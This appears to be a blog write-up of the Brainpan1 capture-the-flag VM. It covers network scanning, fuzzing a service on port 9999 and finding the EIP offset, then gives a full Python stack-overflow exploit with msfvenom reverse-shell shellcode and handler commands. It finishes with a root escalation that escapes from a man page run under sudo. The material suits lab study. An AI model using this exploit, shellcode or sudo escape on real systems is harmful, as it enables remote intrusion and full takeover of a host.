Brainpan1 writeup


A new VM has been recommended to me by KKB. The challenge involves remote stack buffer overflow and some cool privilege escalation (or so I heard)! Let’s get right into it.


As always, begin with netdiscover:

root@EdgeOfNight:~# netdiscover

 Currently scanning:   |   Screen View: Unique Hosts           
 12 Captured ARP Req/Rep packets, from 8 hosts.   Total size: 720              
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------      [REDACTED]          4       240   Compal Broadband Networks, I     [REDACTED]          1       60    Kaonmedia CO., LTD.     [REDACTED]          2       120   Intel Corporate          [REDACTED]          1       60    Apple, Inc.             [REDACTED]          1       60    Apple, Inc.              [REDACTED]          1       60    Hon Hai Precision Ind. Co.,L    [REDACTED]          1       60    Hon Hai Precision Ind. Co.,L    08:00:27:0d:7c:de   1       60    PCS Systemtechnik GmbH      

Get the IP, ( and nmap it:

root@EdgeOfNight:~# nmap -T4 -sS -A 

Starting Nmap 7.50 ( ) at 2017-11-09 12:19 CST
Nmap scan report for
Host is up (0.00018s latency).
Not shown: 998 closed ports
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)

MAC Address: 08:00:27:0D:7C:DE (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop

1   0.17 ms

OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 52.15 seconds

Some of the nmap output was cut out for easier readability

Cool! There is a SimpleHTTPServer (p:10000) and something what appears like a custom made login application (p:9999).

Web server:

Login application on port 9999 upon netcat connection:

While I spend time fuzzing port 9999 (for previously mentioned BOF), I also run dirb to see what I can get from the website.

root@EdgeOfNight:~# dirb 

DIRB v2.22    
By The Dark Raver

START_TIME: Thu Nov  9 12:36:06 2017
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: ----
+ (CODE:301|SIZE:0)                                                    
END_TIME: Thu Nov  9 12:36:07 2017

An exe file should quite handy for debugging. I transfer it to my Windows VM, attach Immunity debugger and inspect it.

It is the same application that Brainpan1 is running! Thanks to this we can freely test the program locally without causing damage to the real target.


From previous fuzzing I discovered that character sequence of approximately 600 bytes crashes the program. A simple python script can be made for sending data.

import socket
import time

TARGET = "" # for my windows VM
PORT = 9999
PAYLOAD = "A" * 600



	print "[+] Connecting to IP:", TARGET, "at PORT:", PORT
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

	print "[+] Sending the data ..."
	s.send(PAYLOAD) #Sends payload
	print "[+] DONE!!"

	print "[+] Trying to connect again..."
	s.connect((TARGET,PORT)) #See if the service is still up

	print "[-] Error connecting - possible crash!!!"

Note: The IP change to .228 is due to tests being conducted on a new Windows VM

We get a crash at 0x41414141 (hex representation of A) as expected, because EIP got overwritten. To exactly find the instruction pointer a tool like metasploit pattern-create.rb can be used.

root@EdgeOfNight:~# cd /usr/share/metasploit-framework/tools/exploit/
root@EdgeOfNight:/usr/share/metasploit-framework/tools/exploit# ./pattern_create.rb -l 600

pattern-create.rb ensures the generated string has unique sequence of characters. After the crash, finding the EIP offset will be easy as no sequence is the same and instruction pointer will have an unique value. Relaunch the python script with the long pattern and see what happens.

Crash at an offset of 0x35724134. The gained value can be afterwards put into next tool - pattern-offset.rb.

root@EdgeOfNight:/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb -q 0x35724134
[*] Exact match at offset 524

The meaning is pretty self-explanatory. pattern_offset takes a hex string query as a parameter which is then used to find exact amount of bytes before overwriting EIP. Armed with this knowledge we can go ahead and make a working exploit.

All the addresses end with a null byte which makes it hard / impossible to jump to. By supplying such address we would terminate our input on the last byte, which would lead to unwanted behaviour (possible crashes). Luckily if you notice in picture 5 the stack pointer (ESP) points to the beginning of our overflowed buffer after overwritten EIP.

That means that if we overwrite the return address with jmp esp instruction we can hop right into our shellcode! Use CTRL-F, search for the instruction and copy the address.

You can use any shellcode but I’ll simply stick to one generated with msfvenom. Here is the remote exploit:


import socket
import struct
import time

TARGET = "" #.110 for brainpan 
PORT = 9999

PADDING = "A" * 524
NOP = "\x90" * 64
EIP = struct.pack("I", 0x311712F3) #Location of jmp esp which points to NOPS
				   #struct.pack() converts 0x311712F3 into little-endian format

#msfvenom -p windows/shell/reverse_tcp LHOST= LPORT=3333 -f py -b '\x00' 
#CATCH WITH exploit/multi/handler

SC  = "\xda\xcc\xbb\x3c\xcc\x27\xd6\xd9\x74\x24\xf4\x5e\x31"
SC += "\xc9\xb1\x54\x83\xc6\x04\x31\x5e\x14\x03\x5e\x28\x2e"
SC += "\xd2\x2a\xb8\x2c\x1d\xd3\x38\x51\x97\x36\x09\x51\xc3"
SC += "\x33\x39\x61\x87\x16\xb5\x0a\xc5\x82\x4e\x7e\xc2\xa5"
SC += "\xe7\x35\x34\x8b\xf8\x66\x04\x8a\x7a\x75\x59\x6c\x43"
SC += "\xb6\xac\x6d\x84\xab\x5d\x3f\x5d\xa7\xf0\xd0\xea\xfd"
SC += "\xc8\x5b\xa0\x10\x49\xbf\x70\x12\x78\x6e\x0b\x4d\x5a"
SC += "\x90\xd8\xe5\xd3\x8a\x3d\xc3\xaa\x21\xf5\xbf\x2c\xe0"
SC += "\xc4\x40\x82\xcd\xe9\xb2\xda\x0a\xcd\x2c\xa9\x62\x2e"
SC += "\xd0\xaa\xb0\x4d\x0e\x3e\x23\xf5\xc5\x98\x8f\x04\x09"
SC += "\x7e\x5b\x0a\xe6\xf4\x03\x0e\xf9\xd9\x3f\x2a\x72\xdc"
SC += "\xef\xbb\xc0\xfb\x2b\xe0\x93\x62\x6d\x4c\x75\x9a\x6d"
SC += "\x2f\x2a\x3e\xe5\xdd\x3f\x33\xa4\x89\x8c\x7e\x57\x49"
SC += "\x9b\x09\x24\x7b\x04\xa2\xa2\x37\xcd\x6c\x34\x38\xe4"
SC += "\xc9\xaa\xc7\x07\x2a\xe2\x03\x53\x7a\x9c\xa2\xdc\x11"
SC += "\x5c\x4b\x09\x8f\x59\xdb\x72\xf8\x62\x59\x1b\xfb\x62"
SC += "\x50\xde\x72\x84\x3a\xb0\xd4\x19\xfa\x60\x95\xc9\x92"
SC += "\x6a\x1a\x35\x82\x94\xf0\x5e\x28\x7b\xad\x37\xc4\xe2"
SC += "\xf4\xcc\x75\xea\x22\xa9\xb5\x60\xc7\x4d\x7b\x81\xa2"
SC += "\x5d\x6b\xf0\x4c\x9e\x6b\x99\x4c\xf4\x6f\x0b\x1a\x60"
SC += "\x6d\x6a\x6c\x2f\x8e\x59\xee\x28\x70\x1c\xc7\x43\x46"
SC += "\x8a\x67\x3c\xa6\x5a\x68\xbc\xf0\x30\x68\xd4\xa4\x60"
SC += "\x3b\xc1\xab\xbc\x2f\x5a\x39\x3f\x06\x0e\xea\x57\xa4"
SC += "\x69\xdc\xf7\x57\x5c\x5f\xff\xa8\x22\x7d\x58\xc1\xdc"
SC += "\xc1\x58\x11\xb7\xc1\x08\x79\x4c\xee\xa7\x49\xad\x25"
SC += "\xe0\xc1\x24\xab\x42\x73\x38\xe6\x03\x2d\x39\x04\x98"
SC += "\x38\xb4\xeb\x1f\x45\x36\xd0\xc9\x7c\x4c\x11\xca\x3a"
SC += "\x5f\x28\x6f\x6a\xca\x52\x23\x6c\xdf"




	print "[+] Connecting to IP:", TARGET, "at PORT:", PORT
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

	#Initialize connection
	data = s.recv(1024) 
	print "[+] Connected!"	
	print ""
	print ""
	print data #Debug

	print "[+] Sending the payload ..."
	s.send(PAYLOAD) #Sends payload
	print "[+] DONE! A reverse shell is on its way :) !"

	print "[-] Error connecting!!!"

If done correctly the reverse shell should arrive to the handler you set up via msfconsole -q -x "use exploit/multi/handler;set payload windows/shell/reverse_tcp; set LHOST eth0; set LPORT 3333; run".

TIP: msfconsole -x can be used to chain many metasploit commands into one!

Concept of BOFs is kind of complicated and describing it within one blogpost is impossible. I highly recommend binary hacking series by LiveOverflow to begin learning if anything is unclear.

Now that we have the exploit figured out, replace the windows shellcode with linux one (msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT=3333 -f py -b '\x00') and re-run it on original Brainpan machine (

TIP: python -c 'import pty; pty.spawn("/bin/sh")' = A TTY shell for easier console interaction

Reverse shell has been achieved ;) !

Privilege escalation

Just do sudo -l:

$ sudo -l

Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util

anansi_util allows running manual and sudo which is a dangerous combination because it can be easily chained together for easy root escalation. Open up a random man page (man whoami in my case) and execute a shell by typing !/bin/sh.

sudo /home/anansi/bin/anansi_util manual whoami
No manual entry for manual
WARNING: terminal is not fully functional
-  (press RETURN)!/bin/sh
# id && whoami
id && whoami
uid=0(root) gid=0(root) groups=0(root)



What a great experience! I would highly recommend the machine to anyone learning binary exploitation or anyone looking to improve their basic socket programming. Props to KKB for recommending me this box and THANKS to Techorganic for making such a wonderful challenge. Feel free to reach out to me via comments / contact page if you have any questions.